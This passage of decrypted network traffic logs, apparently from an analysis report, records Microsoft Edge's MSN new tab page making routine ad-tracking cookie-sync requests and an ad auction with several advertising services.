2025-01-08 15:18:51 UTC	948	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 59 Content-Type: image/gif Set-Cookie: visitor-id=3793511316047494000V10; Expires=Thu, 08 Jan 2026 15:18:51 GMT; domain=.media.net; Path=/; sameSite=none; secure=true Set-Cookie: data-nms=37FD034F4FC568D43F2E16214E436968~~3;Expires=Thu, 08 Jan 2026 15:18:51 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 08 Jan 2025 15:18:51 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 08 Jan 2025 15:18:51 GMT Connection: close
2025-01-08 15:18:51 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2025-01-08 15:18:51 UTC	16	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.11.20	54139	13.107.42.14	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	653	OUT	GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: px.ads.linkedin.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	754	IN	HTTP/1.1 200 OK Content-Length: 95 Content-Type: image/png Set-Cookie: bcookie="v=2&d6425aeb-2730-4235-854e-eeef56bd5da3"; domain=.linkedin.com; Path=/; Secure; Expires=Thu, 08-Jan-2026 15:18:51 GMT; SameSite=None Set-Cookie: lidc="b=OGST02:s=O:r=O:a=O:p=O:g=3440:u=1:x=1:i=1736349531:t=1736435931:v=2:sig=AQHr3TMdiPU2BAlqsPqvsj9PGmcG1b9_"; Expires=Thu, 09 Jan 2025 15:18:51 GMT; domain=.linkedin.com; Path=/; SameSite=None; Secure LinkedIn-Action: 1 X-Li-Fabric: prod-lor1 X-Li-Pop: afd-prod-lor1-x X-Li-Proto: http/1.1 X-LI-UUID: AAYrM2EIsSmQYo1CLv4DCw== X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4B003BF680DC435B822E32FE7B9E6959 Ref B: CHI30EDGE0318 Ref C: 2025-01-08T15:18:51Z Date: Wed, 08 Jan 2025 15:18:50 GMT Connection: close
2025-01-08 15:18:51 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.11.20	58820	104.19.131.76	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	670	OUT	GET /m?cdsp=516415&c=37FD034F4FC568D43F2E16214E436968&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.mgid.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	347	IN	HTTP/1.1 400 Bad Request Date: Wed, 08 Jan 2025 15:18:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 11 Connection: close CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=15552000; includeSubDomains; preload X-Robots-Tag: noindex Server: cloudflare CF-RAY: 8fed299d6b58a3d8-ORD alt-svc: h3=":443"; ma=86400
2025-01-08 15:18:51 UTC	11	IN	Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.11.20	58923	34.235.241.123	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	612	OUT	GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:51 UTC	777	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:51 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBFuXfmcCEKfEhTzI-B3hCd6AutgDH1EFEgEBAQHof2eIZwAAAAAA_eMAAA&S=AQAAAkF7QCY1VDdV2racEM4zj_w; Expires=Thu, 8 Jan 2026 21:18:51 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2025-01-08 15:18:51 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.11.20	64305	52.223.22.214	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	649	OUT	GET /mapuid?suid=37FD034F4FC568D43F2E16214E436968&sid=16&gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	640	IN	HTTP/1.1 302 Found Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Length: 0 Connection: close Location: /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4181962279234778684055; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Tue, 08 Apr 2025 15:18:52 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4181962279234778684055; Max-Age=7776000; Expires=Tue, 08 Apr 2025 15:18:52 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.11.20	65032	35.245.40.102	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:51 UTC	719	OUT	GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=37FD034F4FC568D43F2E16214E436968&external=true&gdpr=0&gdpr_consent= HTTP/1.1 Host: visitor.omnitagjs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	533	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 49 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: 0 P3p: CP="CAO PSA OUR" Pragma: no-cache Set-Cookie: ayl_visitor=f1eb749ca2eed92d2f24681e2424012b; Path=/; Domain=omnitagjs.com; Max-Age=2592000; Secure; SameSite=None Vary: Accept-Encoding X-Content-Type-Options: nosniff Date: Wed, 08 Jan 2025 15:18:52 GMT X-Kong-Upstream-Latency: 63 X-Kong-Proxy-Latency: 1 Via: kong/3.6.1 X-Kong-Request-Id: 888f371af26e6d0b2bb18f08b3bdbd45
2025-01-08 15:18:52 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 00 00 ff ff ff ff ff ff fe 01 02 00 00 00 21 f9 04 04 14 00 ff 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.11.20	57581	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	3307	OUT	POST /auction HTTP/1.1 Host: srtb.msn.com Connection: keep-alive Content-Length: 2408 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" X-MSEdge-ClientID: 37FD034F4FC568D43F2E16214E436968 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 x-ms-flightId: msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,pnpwxexpire90,bing_v2_scope,prg-1sw-santf-lnrmc,prg-1sw-saqoomann4t2,prg-1sw-sageimcountc,prg-1sw-sageex1d,prg-adspeek,prg-pr2-widget-tab,traffic-tran-ny-c,prg-p2-ldnyct-transit,prg-p2-tran-trd,1s-p2-usecm,btie-ad-ar-logo2,prg-ad-logo-ar,1s-fcrypt,prg-1sw-sa-mg12,prg-ctr-pnpc,1s-ntf2-evlcfc,1s-ntf2-bknlc,1s-ntf2-iptlc,1s-pr2-evlc,1s-pr2-evlcbb,1s-pr2-evlch,1s-pr2-evlcn,1s-pr2-evlcrp,1s-pr2-evlct,1s-prg2-lifecycle,1s-wpo-pr2-ncard,1s-wpo-pr2-pnpfilter,1s-wpo-prg2-evlcfpcap2,1s-wpo-prg2-evlcgddn,1s-wpo-prg2-evlct3,prg-1sw-bg-p2,prg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,prg-1sw-sagervuni2a,prg-revi-nocache,1s-rpssecautht,jj_fac_c,prg-pr2-cmuidsync,chatn_v2_t2,prg-pr1-uc-t,1s-p1-promotedondmd,1s-p1-ua4osvhw,1s-wpo-pr1-promad,prg-1unified-u-t,1s-wpo-pr1-ctl,1s-notifmapping,1s-shp-rc-te-combo3,1s-shp-rc-t2-ta7dnol2,1s-shp-rc-t3-ta7dnol2,1s-shp [TRUNCATED] Content-Type: application/json Cache-Control: no-cache sec-ch-ua-platform: "Windows" X-MSEdge-Market: en-us Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
2025-01-08 15:18:52 UTC	2408	OUT	Data Raw: 7b 22 61 64 52 65 66 72 65 73 68 56 61 72 69 61 6e 74 22 3a 22 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 75 73 22 2c 22 72 69 64 22 3a 22 62 32 35 64 33 66 30 33 63 65 64 34 34 62 66 36 39 32 35 64 63 38 64 65 64 37 38 65 38 30 38 39 22 2c 22 70 61 72 74 6e 65 72 49 64 22 3a 22 64 68 70 22 2c 22 63 6f 6e 74 65 6e 74 22 3a 7b 22 73 6f 75 72 63 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 2f 65 64 67 65 2f 64 68 70 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 65 64 67 65 63 68 72 6e 74 70 22 2c 22 70 72 65 76 69 6f 75 73 52 65 73 65 72 76 65 64 52 69 76 65 72 4e 61 74 69 76 65 41 64 43 6f 75 6e 74 22 3a 30 2c 22 70 72 65 76 69 6f 75 73 52 69 76 65 72 44 75 61 6c 57 69 64 65 4e 61 74 69 76 65 41 64 43 6f 75 6e 74 22 3a 30 2c Data Ascii: {"adRefreshVariant":"","locale":"en-us","rid":"b25d3f03ced44bf6925dc8ded78e8089","partnerId":"dhp","content":{"sourceUrl":"https://ntp.msn.com/edge/dhp","pageType":"edgechrntp","previousReservedRiverNativeAdCount":0,"previousRiverDualWideNativeAdCount":0,
2025-01-08 15:18:52 UTC	743	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: application/json; charset=utf-8 Vary: Origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Server-Timing: total;dur=234 Timing-Allow-Origin: https://ntp.msn.com X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B156D5A32CF742FC938177D8A4CD4288 Ref B: CHI30EDGE0311 Ref C: 2025-01-08T15:18:52Z Date: Wed, 08 Jan 2025 15:18:51 GMT Connection: close
2025-01-08 15:18:52 UTC	3330	IN	Data Raw: 63 66 62 0d 0a 7b 22 70 6c 61 63 65 6d 65 6e 74 73 22 3a 5b 7b 22 61 75 63 74 69 6f 6e 49 64 22 3a 22 32 32 38 33 37 36 39 63 2d 36 31 65 33 2d 34 38 62 64 2d 38 64 63 38 2d 65 38 37 30 33 35 61 38 66 63 38 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 69 6e 66 6f 70 61 6e 65 22 2c 22 69 6e 64 65 78 22 3a 33 2c 22 70 72 6f 76 69 64 65 72 49 64 22 3a 22 62 69 6e 67 22 2c 22 73 75 62 50 72 6f 76 69 64 65 72 49 64 22 3a 22 6e 61 65 78 63 68 61 6e 67 65 22 2c 22 61 64 54 79 70 65 22 3a 22 41 75 63 74 69 6f 6e 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 75 73 22 2c 22 6d 6f 64 75 6c 65 54 61 67 22 3a 22 62 69 6e 67 73 70 6f 6e 63 6f 6e 22 2c 22 76 69 73 69 62 69 6c 69 74 79 55 72 6c 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 61 70 Data Ascii: cfb{"placements":[{"auctionId":"2283769c-61e3-48bd-8dc8-e87035a8fc80","region":"infopane","index":3,"providerId":"bing","subProviderId":"naexchange","adType":"Auction","locale":"en-us","moduleTag":"bingsponcon","visibilityUrls":["https://www.bing.com/ap
2025-01-08 15:18:52 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 61 6e 65 2d 31 26 74 72 61 66 66 69 63 47 72 6f 75 70 3d 7a 66 61 5f 68 66 5f 61 62 73 79 62 62 65 5f 61 67 63 26 74 72 61 66 66 69 63 53 75 62 47 72 6f 75 70 3d 65 67 6f 5f 65 72 66 72 65 69 72 22 2c 22 74 69 74 6c 65 22 3a 22 52 65 6d 6f 74 65 20 4a 6f 62 73 20 48 69 72 69 6e 67 20 49 6d 6d 65 64 69 61 74 65 6c 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 70 6c 6f 61 64 20 59 6f 75 72 20 52 65 73 75 6d 65 20 26 20 53 74 61 72 74 20 53 65 61 72 63 68 69 6e 67 2e 20 57 65 e2 80 99 76 65 20 48 65 6c 70 65 64 20 50 65 6f 70 6c 65 20 4c 61 6e 64 20 52 65 6d 6f 74 65 20 4a 6f 62 73 20 53 69 6e 63 65 20 32 30 30 37 2e 22 2c 22 73 6f 75 72 63 65 4e 61 6d 65 22 3a 22 46 6c 65 78 4a 6f 62 73 22 2c 22 63 6c 69 63 6b 55 72 6c 73 22 3a Data Ascii: 2000ane-1&trafficGroup=zfa_hf_absybbe_agc&trafficSubGroup=ego_erfreir","title":"Remote Jobs Hiring Immediately","description":"Upload Your Resume & Start Searching. Weve Helped People Land Remote Jobs Since 2007.","sourceName":"FlexJobs","clickUrls":
2025-01-08 15:18:52 UTC	4427	IN	Data Raw: 31 31 34 33 0d 0a 61 39 63 36 62 34 39 30 26 72 74 79 70 65 3d 74 61 72 67 65 74 55 52 4c 26 74 61 67 49 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 72 65 73 69 6e 66 6f 70 61 6e 65 2d 31 26 74 72 61 66 66 69 63 47 72 6f 75 70 3d 7a 66 61 5f 68 66 5f 61 62 73 79 62 62 65 5f 61 67 63 26 74 72 61 66 66 69 63 53 75 62 47 72 6f 75 70 3d 65 67 6f 5f 65 72 66 72 65 69 72 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 74 65 63 74 20 59 6f 75 72 20 50 72 69 76 61 63 79 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4b 65 65 70 20 54 68 65 20 45 6e 74 69 72 65 20 48 6f 75 73 65 68 6f 6c 64 20 53 61 66 65 20 55 73 69 6e 67 20 41 20 53 69 6e 67 6c 65 20 53 75 62 73 63 72 69 70 74 69 6f 6e 2e 20 44 6f 77 6e 6c 6f 61 64 20 4e 6f 77 21 22 2c 22 73 6f 75 72 63 65 4e 61 6d 65 Data Ascii: 1143a9c6b490&rtype=targetURL&tagId=edgechrntp-resinfopane-1&trafficGroup=zfa_hf_absybbe_agc&trafficSubGroup=ego_erfreir","title":"Protect Your Privacy","description":"Keep The Entire Household Safe Using A Single Subscription. Download Now!","sourceName
2025-01-08 15:18:52 UTC	459	IN	Data Raw: 31 63 34 0d 0a 65 63 68 72 6e 74 70 26 6c 3d 65 6e 2d 75 73 26 64 3d 62 69 6e 67 26 62 3d 45 64 67 26 61 3d 37 62 32 61 61 38 37 34 2d 35 39 64 31 2d 34 37 66 33 2d 38 31 33 33 2d 66 64 35 36 62 32 65 34 36 33 64 37 26 69 69 3d 31 26 63 3d 31 37 34 39 35 32 32 34 32 31 30 30 31 39 30 36 34 39 38 26 62 69 64 3d 38 38 66 31 66 38 62 65 2d 35 64 31 35 2d 34 31 61 33 2d 61 63 39 36 2d 61 64 36 37 62 39 34 37 30 30 39 34 26 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 72 65 73 69 6e 66 6f 70 61 6e 65 2d 36 26 70 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 72 65 73 69 6e 66 6f 70 61 6e 65 2d 31 5c 22 5d 2c 5c 22 74 6a 62 5c 22 3a 5b 5d 2c 5c 22 62 65 61 63 6f 6e 53 74 61 74 75 73 55 72 6c 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 73 72 74 62 2e 6d 73 6e 2e 63 6f Data Ascii: 1c4echrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1\"],\"tjb\":[],\"beaconStatusUrl\":\"https://srtb.msn.co
2025-01-08 15:18:52 UTC	4047	IN	Data Raw: 66 63 38 0d 0a 33 2d 61 63 39 36 2d 61 64 36 37 62 39 34 37 30 30 39 34 26 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 72 65 73 69 6e 66 6f 70 61 6e 65 2d 36 26 70 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 72 65 73 69 6e 66 6f 70 61 6e 65 2d 31 5c 22 2c 5c 22 70 5c 22 3a 5c 22 62 69 6e 67 5c 22 2c 5c 22 65 5c 22 3a 74 72 75 65 7d 22 2c 22 61 64 46 65 65 64 62 61 63 6b 44 61 74 61 22 3a 22 7b 5c 22 61 64 50 72 6f 76 69 64 65 72 5c 22 3a 5c 22 62 69 6e 67 5c 22 2c 5c 22 61 64 54 69 74 6c 65 5c 22 3a 5c 22 50 72 6f 74 65 63 74 20 59 6f 75 72 20 50 72 69 76 61 63 79 5c 22 2c 5c 22 63 72 65 61 74 69 76 65 49 64 5c 22 3a 5c 22 52 48 6c 75 59 57 31 70 59 31 4e 6c 59 58 4a 6a 61 45 46 6b 49 7a 55 35 4e 7a 63 79 4d 6a 67 78 4f 54 51 31 4d 54 67 34 4d 7a 67 31 Data Ascii: fc83-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1\",\"p\":\"bing\",\"e\":true}","adFeedbackData":"{\"adProvider\":\"bing\",\"adTitle\":\"Protect Your Privacy\",\"creativeId\":\"RHluYW1pY1NlYXJjaEFkIzU5NzcyMjgxOTQ1MTg4Mzg1
2025-01-08 15:18:52 UTC	4955	IN	Data Raw: 31 33 35 33 0d 0a 31 26 63 3d 31 34 33 30 38 39 39 36 33 39 31 35 39 38 31 30 35 36 38 38 26 62 69 64 3d 38 38 66 31 66 38 62 65 2d 35 64 31 35 2d 34 31 61 33 2d 61 63 39 36 2d 61 64 36 37 62 39 34 37 30 30 39 34 26 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 69 6e 66 6f 70 61 6e 65 2d 31 31 26 70 74 69 64 3d 65 64 67 65 63 68 72 6e 74 70 2d 70 65 65 6b 49 6e 66 6f 70 61 6e 65 2d 32 22 5d 2c 22 61 64 43 68 6f 69 63 65 73 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 70 72 69 76 61 63 79 2f 61 64 2d 73 65 74 74 69 6e 67 73 22 2c 22 61 64 53 65 6c 65 63 74 69 6f 6e 52 65 61 73 6f 6e 22 3a 22 7b 5c 22 61 64 76 65 72 74 69 73 69 6e 67 50 6c 61 74 66 6f 72 6d 5c 22 3a 7b 5c 22 69 64 54 79 70 65 5c Data Ascii: 13531&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2"],"adChoicesUrl":"https://account.microsoft.com/privacy/ad-settings","adSelectionReason":"{\"advertisingPlatform\":{\"idType\
2025-01-08 15:18:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.11.20	56281	35.208.249.213	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	643	OUT	GET /cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1 Host: trace.mediago.io Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 15:18:52 UTC	291	IN	HTTP/1.1 200 OK Set-Cookie: __mguid_=09ac98cf9b8c603c1r67b500m5o1ohns; Path=/; Domain=mediago.io; Max-Age=31536000; Secure; SameSite=None Date: Wed, 08 Jan 2025 15:18:52 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.11.20	51511	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:18:52 UTC	969	OUT	GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=23f806c7-5292-45ef-a106-5a0e13b755fc&ii=1&c=6778524747806682709&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
2025-01-08 15:18:52 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 49A72E7004BA4314A93DD188437E2AA3 Ref B: CHI30EDGE0213 Ref C: 2025-01-08T15:18:52Z Date: Wed, 08 Jan 2025 15:18:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.11.20	54850	20.33.55.12	443

Timestamp	Bytes transferred	Direction	Data
